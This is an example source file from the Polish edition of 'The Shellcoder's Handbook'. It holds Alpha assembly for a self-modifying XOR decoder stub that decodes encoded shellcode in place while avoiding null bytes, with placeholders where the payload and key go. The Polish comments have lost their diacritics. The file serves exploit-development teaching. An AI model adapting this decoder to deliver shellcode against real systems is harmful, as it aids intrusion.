/*

The Shellcoder's Handbook. Edycja polska
Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, 
Sinan Eren, Neel Mehta, Riley Hassell
Wydawnictwo Helion


Rozdzia 12
Zaawansowane metody wama w systemie Solaris
Przykad 3

Komentarze i uwagi prosz przesya na adres jack@infosecinstitute.com 
lub za porednictwem witryny http://www.infosecinstitute.com 

*/


#include <alpha/regdef.h>
#include <alpha/pal.h>
        .text
        .arch   generic
        .align 4
        .globl  main
        .ent    main
main:
        .frame  $sp, 0, $26

        lda  a0, -1000(sp)        #omwiony wczeniej kod GetPC.
back:
        bis  zero, 0x86, a1       #a1 zawiera 0x00000086 czyli kod rozkazu imb
                                  #rozkaz imb zapewnia synchronizacj bufora rozkazw
                                  #z rozkazami w pamici

                                  #1. przebieg ptli: umieszcza rozkaz imb pod adresem (sp  1000)
        stl  a1, -4(a0)           #2. przebieg ptli: nadpisuje poniszy rozkaz bsr 
        addq a0, 48, a2
        stl  a1, -4(a2)           #nadpisuje rwnie acuch 0x41414141 kodem rozkazu imb
                                  #zapobiegajc niespjnoci bufora i-cache po procesie dekodowania;
                                  #poniewa kod rozkazu imb zawiera bajty zerowe
                                  #jest to jedyny sposb ich unikniecia w ptli dekodera.

        bsr  a0, back             #rozkaz rozgazienia do etykiety back, aduje pc do rejstru a0
                                  #w drugim przebiegu rozkaz bsr zostanie nadpisany
                                  #a sterowanie trafi do nastpnego rozkazu.
        addq a0, 52, a4           #przesunicie zakodowanych danych +4.
        addq zero, 212, a3        #rozmiar zakodowanych danych w bajtach. !!TUTAJ ZMIENI!!
        addq a0, 264, a5          #przesunicie klucza kodowania; rwne rozmiarowi zakodowanych danych + 52. !ZMIANA!
        addq a0, 48, a0           #waciwy kod powoki bdzie oczekiwa, e a0 wskazuje 
                                  #pierwszy z zakodowanych/odkodowanych rozkazw.

        ldl  a1, -4(a5)           #aduje klucz.
xorloop:
        ldl  a2, -4(a4)           #aduje podwjne sowo zakodowanych danych.
        xor  a2, a1, a2           #odkodowuje je.
        stl  a2, -4(a4)           #i zapisuje z powrotem.
        subq a3, 4, a3            #zmniejsza licznik.
        addq a4, 4, a4            #zwiksza licznik zakodowanych danych przechodzc do nastpnego podwjnego sowa.
        bne  a3, xorloop          #rozgazienie do xorloop jeli licznik rny od zera.
.long   0x41414141                #to podwjne sowo zostanie nadpisane kodem rozkazu imb. 
                                  #oprznia bufor I-cache.

                                  #zakodowane dane. tutaj naley umieci waciwy kod powoki,
                                  #a zanim klucz kodowania. !!TUTAJ ZMIENI!!

.long   0x88888888                #klucz kodowania. !!TUTAJ ZMIENI jesli to konieczne!!
        .end    main
